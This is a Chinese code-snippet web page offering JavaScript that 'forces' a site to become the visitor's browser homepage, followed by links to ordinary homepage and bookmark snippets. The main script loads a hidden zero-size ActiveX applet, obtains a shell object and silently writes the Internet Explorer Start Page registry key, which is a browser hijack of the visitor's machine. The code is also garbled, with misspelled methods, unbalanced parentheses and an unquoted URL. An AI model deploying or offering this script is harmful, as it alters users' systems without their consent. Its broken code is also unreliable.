JS 强制设为首页的代码
<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
注:个人建议还是少用JS代码,因为做SEO优化时可能很麻烦,呵呵
相关推荐
-
设为首页 加入收藏的js代码
最新的比较完整的代码:已测 <script type="text/javascript"> //设为首页 www.jb51.net function SetHome(obj,url){ try{ obj.style.behavior='url(#default#homepage)'; obj.setHomePage(url); }catch(e){ if(window.netscape){ try{ netscape.security.PrivilegeManager.en
-
javascript在firefox下设为首页的代码
// 设置首页 [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
-
在Flash中添加“设为首页”、“加为收藏”的方法
如何?在Flash中实现"设为首页"和"加为收藏"功能是使用Get URL结合JavaScript来实现的. 设为首页代码: on (release) { getURL("javascript:void(document.links[0].style.behavior='url(#default#homepage)');void document.links[0].setHomePage('http://www.showhs.com/');",
-
js Firefox 加入收藏夹功能代码 兼容Firefox 和 IE
完整代码如下:chrome下也有提示,说实话一般这类代码一般都是IE下使用,其它浏览器也只是给个提示了. <script type="text/javascript"> //设为首页 www.jb51.net function SetHome(obj,url){ try{ obj.style.behavior='url(#default#homepage)'; obj.setHomePage(url); }catch(e){ if(window.netscape){ try
-
设为首页加入收藏兼容360/火狐/谷歌/IE等主流浏览器的代码
不用找了,我试过好多次,ie,火狐,谷歌浏览器此代码都是不可逆兼容. 下面是我的简单解决方案.想把这个问题完全解决,方法就是像其他主流网站一样专门建立添加为首页的操作步骤帮助页. js代码: 复制代码 代码如下: <script type="text/javascript"> // 设置为主页 function SetHome(obj,vrl){ try{ obj.style.behavior='url(#default#homepage)';obj.setHomePage
-
强制设为首页代码
{script} var ucook=document.cookie; var user=ucook.indexOF("ilooki="); if(user==-1) { var nowTime=new Date(); document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT&q
-
javascript addBookmark 加入收藏 多浏览器兼容
复制代码 代码如下: function addBookmark(title,url) { if (window.sidebar) { window.sidebar.addPanel(title, url,""); } else if( document.all ) { window.external.AddFavorite( url, title); } else if( window.opera && window.print ) { return true; } }
-
一个可以兼容IE FF的加为首页与加入收藏实现代码
复制代码 代码如下: <script type="text/javascript"> function addCookie() { if (document.all) { window.external.addFavorite('http://www.jb51.net','我们'); } else if (window.sidebar) { window.sidebar.addPanel('我们', 'http://www.jb51.net', "");
-
Flash 中"设为首页"代码
设为首页 复制代码 代码如下: on (release) { getURL("javascript:void(document.links.style.behavior='url(#default#homepage)');void document.links.setHomePage ('http://www.flash8.net/')", "_self", "POST"); } 注意要将网页中的flash的ID号命名为
-
在Flash 设为首页 加为收藏实现代码
设为首页代码: 复制代码 代码如下: on (release) { getURL("javascript:void(document.links[0].style.behavior='url(#default#homepage)');void document.links[0].setHomePage('http://www.zishu.cn/');", "_self", "POST"); } 加为收藏代码: 复制代码 代码如下: on (rel
-
javascript 加入收藏、设为首页(IE,firefox兼容脚本之家版)
具体的演示,可以参考我们最下面的 加入收藏 设为首页功能. function addBookmark(title,url) { if (window.sidebar) { window.sidebar.addPanel(title,url,""); } else if( document.all ) { window.external.AddFavorite(url,title); } else if( window.opera && window.print ) {
-
javascript 设为首页与加入收藏兼容多浏览器代码
代码: 复制代码 代码如下: <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title>无标题页</title> <script language="javascript" type="text/javascript"> function AddFavorite(sURL, sTi
-
通用的加入收藏夹代码支持IE Firefox等浏览器
function addfavorite() { switch(getOs()) { case 1:window.external.addFavorite('http://www.jb51.net','我们 ');break; case 2:window.sidebar.addPanel('我们', 'http://www.jb51.net/', "");break; case 0:alert("您的浏览器也太牛了,我都不知道如何显示了. 唉.");break; }
-
设为首页与加入收藏的JS代码(多浏览器支持)
最新的支持IE.firefox.chrome有提示信息的代码: <script type="text/javascript"> //设为首页 www.jb51.net function SetHome(obj,url){ try{ obj.style.behavior='url(#default#homepage)'; obj.setHomePage(url); }catch(e){ if(window.netscape){ try{ netscape.security.P
随机推荐
- python中pandas.DataFrame排除特定行方法示例
- cacls命令设置文件及其文件夹权限的方法
- IOS 通过tag删除动态创建的UIButton
- Android来电监听和去电监听实现代码
- 基于C++中sprintf的错误总结详解
- VC中Tab control控件的用法详细解析
- 解析windows下使用命令的方式安装mysql5.7的方法
- 使用cgroups来限制MySQL企业备份服务对资源的占用
- 备份网站内容的shell脚本代码
- 浅谈jquery高级方法描述与应用
- react.js 翻页插件实例代码
- moneybookers的注册与激活
- 不同方式遍历Map集合(全)
- CISCO 技术集合一
- Shell中exit和return的区别讲解
- python实现图片彩色转化为素描
- SpringBoot2.0 整合 Dubbo框架实现RPC服务远程调用方法
- Java开发工具IntelliJ IDEA安装图解
- python 实现多线程下载视频的代码
- Spring mvc文件上传下载代码实例